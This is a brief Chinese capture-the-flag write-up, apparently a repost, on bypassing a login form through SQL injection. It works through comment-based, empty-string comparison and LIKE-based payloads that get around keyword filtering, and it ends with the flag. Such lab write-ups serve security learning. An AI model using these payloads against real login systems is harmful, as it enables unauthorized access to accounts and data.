/*这道题很水不过也值得总结下*/
打开界面
1. 我尝试输入 admin admin 竟然出flag了。。。这应该不是作者本意
2. 好了 言归正传 我猜测后台逻辑应该是这样的:
select * from table where username= ‘user‘ and password = ‘pass‘
3.1 利用逻辑绕过 构造payload admin‘ or 1=1--+
输入后发现并没有进入,猜测应该是过滤了 ‘or‘ 或者‘-‘ 或者‘+‘
3.2 利用注释绕过 构造payload 用户名: admin/*asd 密码 asd*/#
select * from table where username= ‘admin‘/*‘ and password = ‘asd*/#‘
发现登录成功,说明没有过滤 ‘#‘ ,尝试将#换成 ‘--+‘也能成功绕过,也就是说仅过滤了 ‘or‘ ,如果过滤了 ‘or‘ ‘#‘ ‘-‘ ‘+‘ 怎么绕过
如果你尝试把payload 用户名: exp/*asd 密码 asd*/# 你会发现不能绕过,究其原因是数据库里面没有 ‘exp‘
此时机智的你又想到如果数据库里没有 ‘admin‘又该怎么绕过,
3.3 进阶的逻辑绕过 构造payload 用户名: exp‘=‘ 密码 exp‘=‘
select * from table where username= ‘exp‘=‘‘ and password = ‘exp‘=‘‘
发现登陆成功,因为数据库里没有 ‘exp‘ sql从左向右执行,故 false=‘‘ 为真
4.4 如果过滤 ‘=‘ 等号替换成like
select * from table where username= ‘exp‘like‘‘ and password = ‘exp‘like‘‘
这样也能成功绕过
flag: htryyujryfhyjtrjn
原文:https://www.cnblogs.com/yuuki-aptx/p/10544985.html